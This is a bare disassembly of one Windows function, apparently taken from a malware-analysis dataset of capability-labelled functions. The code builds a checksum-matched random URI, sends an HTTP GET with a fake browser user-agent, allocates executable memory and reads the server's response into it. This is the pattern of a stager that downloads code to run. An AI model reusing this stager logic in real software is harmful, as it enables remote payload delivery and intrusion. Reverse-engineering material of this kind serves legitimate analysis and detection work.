Function at 0x100018d0
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1ac
push 0x104
lea eax, [ebp - 0x1ac]
mov dword [ebp - 0x14], ecx
push 0
push eax
mov byte [ebp - 8], 0
mov dword [ebp - 7], 0
call fcn.100047e0
mov ecx, 0x100137f0
add esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001905
xor eax, eax
mov dword [ebp - 0x20], 0
sub ecx, edx
cmp eax, ecx
sbb eax, eax
and eax, 2
inc eax
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.10005913
add esp, 4
push ebx
push esi
push edi
nop dword [eax]
nop dword [eax + eax]
mov edx, 4
lea ecx, [ebp - 8]
call fcn.100017f0
lea ecx, [ebp - 8]
xor ebx, ebx
xor edx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001957
sub ecx, esi
je 0x1000196e
movsx eax, byte [ebp + edx - 8]
inc edx
add ebx, eax
cmp edx, ecx
jb 0x10001962
cmp bl, 0x5c
jne 0x10001940
mov ecx, 0x10013940
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001980
sub ecx, edx
je 0x100019d8
lea edi, [ebp - 0x1ac]
dec edi
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x10001992
mov ax, word [str._Mozila5.0__WndwsNT2_ret7v:1_kGc]
mov edx, 0x10013940
mov word [edi], ax
mov esi, edx
nop dword [eax]
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x100019b0
lea edi, [ebp - 0x1ac]
sub edx, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100019c0
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x100019de
mov ax, word [str._Mozila5.0__WndwsNT2_ret7v:1_kGc]
lea edi, [ebp - 0x1ac]
dec edi
mov cl, byte [edi + 1]
lea edi, [edi + 1]
test cl, cl
jne 0x100019e5
lea edx, [ebp - 8]
mov word [edi], ax
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x100019f7
lea edi, [ebp - 0x1ac]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10001a07
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
nop dword [eax]
push 0x80
lea eax, [ebp - 0xa8]
push 0
push eax
call fcn.100047e0
lea edi, [ebp - 0xa8]
add esp, 0xc
dec edi
nop dword [eax]
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x10001a40
mov ax, word [0x10011af4]
mov word [edi], ax
lea edi, [ebp - 0xa8]
dec edi
nop word [eax + eax]
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x10001a60
mov ax, word [0x10011af8]
mov word [edi], ax
lea edi, [ebp - 0xa8]
dec edi
nop word [eax + eax]
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x10001a80
mov ax, word [0x10011afc]
mov word [edi], ax
lea edi, [ebp - 0xa8]
dec edi
nop word [eax + eax]
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x10001aa0
mov dx, word [0x10011b00]
mov word [edi], dx
lea edi, [ebp - 0xa8]
dec edi
nop dword [eax + eax]
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x10001ac0
mov ax, word [0x10011b04]
mov word [edi], ax
lea edi, [ebp - 0xa8]
dec edi
nop word [eax + eax]
mov cl, byte [edi + 1]
lea edi, [edi + 1]
test cl, cl
jne 0x10001ae0
mov word [edi], ax
lea edi, [ebp - 0xa8]
dec edi
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x10001af4
mov ax, word [0x10011b08]
mov word [edi], ax
lea edi, [ebp - 0xa8]
dec edi
nop
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x10001b10
mov ax, word [str._Mozila5.0__WndwsNT2_ret7v:1_kGc]
mov word [edi], ax
lea edi, [ebp - 0xa8]
dec edi
nop word [eax + eax]
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x10001b30
mov cx, word [0x10011b0c]
mov word [edi], cx
lea edi, [ebp - 0xa8]
dec edi
nop dword [eax + eax]
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x10001b50
mov ax, word [0x10011b10]
mov word [edi], ax
lea edi, [ebp - 0xa8]
dec edi
nop word [eax + eax]
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x10001b70
mov ax, word [0x10011b14]
mov word [edi], ax
lea edi, [ebp - 0xa8]
dec edi
nop word [eax + eax]
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x10001b90
mov ax, word [0x10011b18]
mov word [edi], ax
lea edi, [ebp - 0xa8]
dec edi
nop word [eax + eax]
mov bl, byte [edi + 1]
lea edi, [edi + 1]
test bl, bl
jne 0x10001bb0
mov si, word [0x10011b1c]
mov word [edi], si
lea edi, [ebp - 0xa8]
dec edi
nop dword [eax + eax]
mov bl, byte [edi + 1]
lea edi, [edi + 1]
test bl, bl
jne 0x10001bd0
mov si, word [0x10011b20]
mov word [edi], si
lea edi, [ebp - 0xa8]
dec edi
nop dword [eax + eax]
mov bl, byte [edi + 1]
lea edi, [edi + 1]
test bl, bl
jne 0x10001bf0
mov word [edi], dx
lea edi, [ebp - 0xa8]
dec edi
mov dl, byte [edi + 1]
lea edi, [edi + 1]
test dl, dl
jne 0x10001c04
mov si, word [0x10011b24]
mov word [edi], si
lea edi, [ebp - 0xa8]
dec edi
nop
mov dl, byte [edi + 1]
lea edi, [edi + 1]
test dl, dl
jne 0x10001c20
mov dx, word [0x10011b28]
mov word [edi], dx
lea edi, [ebp - 0xa8]
dec edi
nop dword [eax + eax]
mov bl, byte [edi + 1]
lea edi, [edi + 1]
test bl, bl
jne 0x10001c40
mov cx, word [0x10011af8]
mov word [edi], cx
lea edi, [ebp - 0xa8]
mov cx, word [0x10011b0c]
dec edi
mov bl, byte [edi + 1]
lea edi, [edi + 1]
test bl, bl
jne 0x10001c62
mov bx, word [0x10011b2c]
mov word [edi], bx
lea edi, [ebp - 0xa8]
dec edi
nop dword [eax]
mov bl, byte [edi + 1]
lea edi, [edi + 1]
test bl, bl
jne 0x10001c80
mov bx, word [0x10011b30]
mov word [edi], bx
lea edi, [ebp - 0xa8]
dec edi
nop dword [eax + eax]
mov bl, byte [edi + 1]
lea edi, [edi + 1]
test bl, bl
jne 0x10001ca0
mov word [edi], ax
lea edi, [ebp - 0xa8]
dec edi
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x10001cb4
mov ax, word [0x10011b34]
mov word [edi], ax
lea edi, [ebp - 0xa8]
dec edi
nop
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x10001cd0
mov ax, word [0x10011b38]
mov word [edi], ax
lea edi, [ebp - 0xa8]
dec edi
nop word [eax + eax]
mov bl, byte [edi + 1]
lea edi, [edi + 1]
test bl, bl
jne 0x10001cf0
mov si, word [0x10011b18]
mov word [edi], si
lea edi, [ebp - 0xa8]
mov si, word [0x10011b24]
dec edi
mov bl, byte [edi + 1]
lea edi, [edi + 1]
test bl, bl
jne 0x10001d12
mov word [edi], cx
lea edi, [ebp - 0xa8]
dec edi
mov cl, byte [edi + 1]
lea edi, [edi + 1]
test cl, cl
jne 0x10001d26
mov cx, word [0x10011b10]
mov word [edi], cx
lea edi, [ebp - 0xa8]
dec edi
mov cl, byte [edi + 1]
lea edi, [edi + 1]
test cl, cl
jne 0x10001d41
mov cx, word [0x10011b3c]
mov word [edi], cx
lea edi, [ebp - 0xa8]
dec edi
nop dword [eax]
mov cl, byte [edi + 1]
lea edi, [edi + 1]
test cl, cl
jne 0x10001d60
mov cx, word [0x10011b40]
mov word [edi], cx
lea edi, [ebp - 0xa8]
dec edi
nop dword [eax + eax]
mov bl, byte [edi + 1]
lea edi, [edi + 1]
test bl, bl
jne 0x10001d80
mov dx, word [0x10011b18]
mov word [edi], dx
lea edi, [ebp - 0xa8]
mov dx, word [0x10011b28]
dec edi
mov bl, byte [edi + 1]
lea edi, [edi + 1]
test bl, bl
jne 0x10001da2
mov word [edi], ax
lea edi, [ebp - 0xa8]
dec edi
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x10001db6
mov ax, word [0x10011b44]
mov word [edi], ax
lea edi, [ebp - 0xa8]
dec edi
mov bl, byte [edi + 1]
lea edi, [edi + 1]
test bl, bl
jne 0x10001dd0
mov cx, word [0x10011b00]
mov word [edi], cx
lea edi, [ebp - 0xa8]
mov cx, word [0x10011b40]
dec edi
mov bl, byte [edi + 1]
lea edi, [edi + 1]
test bl, bl
jne 0x10001df2
mov word [edi], dx
lea edi, [ebp - 0xa8]
dec edi
mov dl, byte [edi + 1]
lea edi, [edi + 1]
test dl, dl
jne 0x10001e06
mov dx, word [0x10011b48]
mov word [edi], dx
lea edi, [ebp - 0xa8]
dec edi
mov bl, byte [edi + 1]
lea edi, [edi + 1]
test bl, bl
jne 0x10001e21
mov word [edi], si
lea edi, [ebp - 0xa8]
dec edi
mov bl, byte [edi + 1]
lea edi, [edi + 1]
test bl, bl
jne 0x10001e35
mov si, word [0x10011b4c]
mov word [edi], si
lea edi, [ebp - 0xa8]
dec edi
mov bl, byte [edi + 1]
lea edi, [edi + 1]
test bl, bl
jne 0x10001e50
mov si, word [str._Mozila5.0__WndwsNT2_ret7v:1_kGc]
mov word [edi], si
lea edi, [ebp - 0xa8]
dec edi
nop dword [eax + eax]
mov bl, byte [edi + 1]
lea edi, [edi + 1]
test bl, bl
jne 0x10001e70
mov si, word [0x10011b50]
mov word [edi], si
lea edi, [ebp - 0xa8]
dec edi
nop dword [eax + eax]
mov bl, byte [edi + 1]
lea edi, [edi + 1]
test bl, bl
jne 0x10001e90
mov si, word [0x10011b10]
mov word [edi], si
lea edi, [ebp - 0xa8]
dec edi
nop dword [eax + eax]
mov bl, byte [edi + 1]
lea edi, [edi + 1]
test bl, bl
jne 0x10001eb0
mov dx, word [0x10011b14]
mov word [edi], dx
lea edi, [ebp - 0xa8]
mov dx, word [0x10011b48]
dec edi
mov bl, byte [edi + 1]
lea edi, [edi + 1]
test bl, bl
jne 0x10001ed2
mov word [edi], cx
lea edi, [ebp - 0xa8]
dec edi
mov cl, byte [edi + 1]
lea edi, [edi + 1]
test cl, cl
jne 0x10001ee6
mov cx, word [0x10011b18]
mov word [edi], cx
lea edi, [ebp - 0xa8]
dec edi
mov bl, byte [edi + 1]
lea edi, [edi + 1]
test bl, bl
jne 0x10001f01
mov word [edi], ax
lea edi, [ebp - 0xa8]
dec edi
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x10001f15
mov ax, word [0x10011b54]
mov word [edi], ax
lea edi, [ebp - 0xa8]
dec edi
nop
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x10001f30
mov ax, word [0x10011b58]
mov word [edi], ax
lea edi, [ebp - 0xa8]
dec edi
nop word [eax + eax]
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x10001f50
mov ax, word [0x10011b5c]
mov word [edi], ax
lea edi, [ebp - 0xa8]
dec edi
nop word [eax + eax]
mov bl, byte [edi + 1]
lea edi, [edi + 1]
test bl, bl
jne 0x10001f70
mov word [edi], ax
lea edi, [ebp - 0xa8]
dec edi
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x10001f84
mov word [edi], si
lea edi, [ebp - 0xa8]
dec edi
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x10001f98
mov ax, word [0x10011b14]
mov word [edi], ax
lea edi, [ebp - 0xa8]
dec edi
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x10001fb2
mov ax, word [0x10011b60]
mov word [edi], ax
lea edi, [ebp - 0xa8]
dec edi
nop dword [eax]
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x10001fd0
mov word [edi], cx
lea edi, [ebp - 0xa8]
dec edi
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x10001fe4
mov ax, word [0x10011b04]
mov word [edi], ax
lea edi, [ebp - 0xa8]
dec edi
nop
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x10002000
mov ax, word [0x10011b00]
mov word [edi], ax
lea edi, [ebp - 0xa8]
dec edi
nop word [eax + eax]
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x10002020
mov ax, word [0x10011b64]
mov word [edi], ax
lea edi, [ebp - 0xa8]
dec edi
nop word [eax + eax]
mov bl, byte [edi + 1]
lea edi, [edi + 1]
test bl, bl
jne 0x10002040
mov word [edi], dx
lea edi, [ebp - 0xa8]
dec edi
mov bl, byte [edi + 1]
lea edi, [edi + 1]
test bl, bl
jne 0x10002054
mov word [edi], cx
lea edi, [ebp - 0xa8]
dec edi
mov cl, byte [edi + 1]
lea edi, [edi + 1]
test cl, cl
jne 0x10002068
mov cx, word [0x10011b68]
mov word [edi], cx
lea edi, [ebp - 0xa8]
dec edi
mov cl, byte [edi + 1]
lea edi, [edi + 1]
test cl, cl
jne 0x10002083
mov word [edi], dx
lea edi, [ebp - 0xa8]
dec edi
mov cl, byte [edi + 1]
lea edi, [edi + 1]
test cl, cl
jne 0x10002097
mov cx, word [0x10011b6c]
mov word [edi], cx
lea edi, [ebp - 0xa8]
dec edi
mov cl, byte [edi + 1]
lea edi, [edi + 1]
test cl, cl
jne 0x100020b2
mov word [edi], ax
lea edi, [ebp - 0xa8]
dec edi
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x100020c6
mov ax, word [0x10011af8]
mov esi, dword [ebp - 0xc]
mov word [edi], ax
mov edi, dword [ebp - 0x14]
cmp esi, 3
jne 0x100020e9
lea eax, [edi + 0x40]
jmp 0x100020eb
xor eax, eax
push 0
push 0
push eax
push esi
lea eax, [ebp - 0xa8]
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
lea eax, [ebp - 0xa8]
push 0x40
push 0
push eax
mov dword [ebp - 0x28], ebx
call fcn.100047e0
add esp, 0xc
test ebx, ebx
je 0x1000220f
movzx eax, word [edi + 0x104]
push 0
push 0
push 3
push 0
push 0
push eax
push edi
push ebx
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 0x24], eax
test eax, eax
je 0x10002264
push 0
push 0x84a03300
push 0
push 0
push 0
lea ecx, [ebp - 0x1ac]
mov dword [ebp - 0x10], 0x544547
push ecx
lea ecx, [ebp - 0x10]
push ecx
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov edi, eax
mov dword [ebp - 0x18], edi
test edi, edi
je 0x10002264
cmp esi, 3
jne 0x100021df
mov edx, dword [ebp - 0x14]
sub edx, 0xffffff80
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10002186
sub ecx, esi
je 0x100021aa
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10002196
sub ecx, esi
push ecx
push edx
push 0x2b
push edi
call dword [sym.imp.WININET.dll_InternetSetOptionA]
mov edx, dword [ebp - 0x14]
add edx, 0xc0
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100021b8
sub ecx, esi
je 0x100021dc
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100021c8
sub ecx, esi
push ecx
push edx
push 0x2c
push edi
call dword [sym.imp.WININET.dll_InternetSetOptionA]
mov esi, dword [ebp - 0xc]
push 4
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x3380
push eax
push 0x1f
push edi
call dword [sym.imp.WININET.dll_InternetSetOptionW]
cmp esi, 3
jne 0x10002203
mov dword [ebp - 0xc], 1
jmp 0x10002212
cmp esi, 1
jne 0x10002229
xor eax, eax
mov dword [ebp - 0xc], eax
jmp 0x10002212
mov edi, dword [ebp - 0x18]
push 0
push 0
push 0
push 0
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
je 0x10001a20
push 0x40
push 0x1000
push 0x200000
push 0
call dword [0x1001433c]
mov edi, eax
test edi, edi
jne 0x1000226d
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
test ebx, ebx
je 0x10002250
push ebx
call esi
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x1000225a
push eax
call esi
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x10002264
push eax
call esi
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, 0xc
mov dword [ebp - 0x1c], ecx
xor esi, esi
mov edx, 0x1000
test ecx, ecx
je 0x100022c0
cmp esi, 0x200000
jae 0x100022c0
mov eax, 0x200000
mov dword [ebp - 0x1c], 0
sub eax, esi
lea ecx, [ebp - 0x1c]
cmp eax, 0x1000
push ecx
cmova eax, edx
push eax
lea eax, [esi + edi]
push eax
push dword [ebp - 0x18]
call ebx
mov ecx, dword [ebp - 0x1c]
mov edx, 0x1000
add esi, ecx
test eax, eax
jne 0x10002282
mov eax, dword [ebp - 0x28]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
test eax, eax
je 0x100022d0
push eax
call esi
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x100022da
push eax
call esi
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x100022e4
push eax
call esi
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret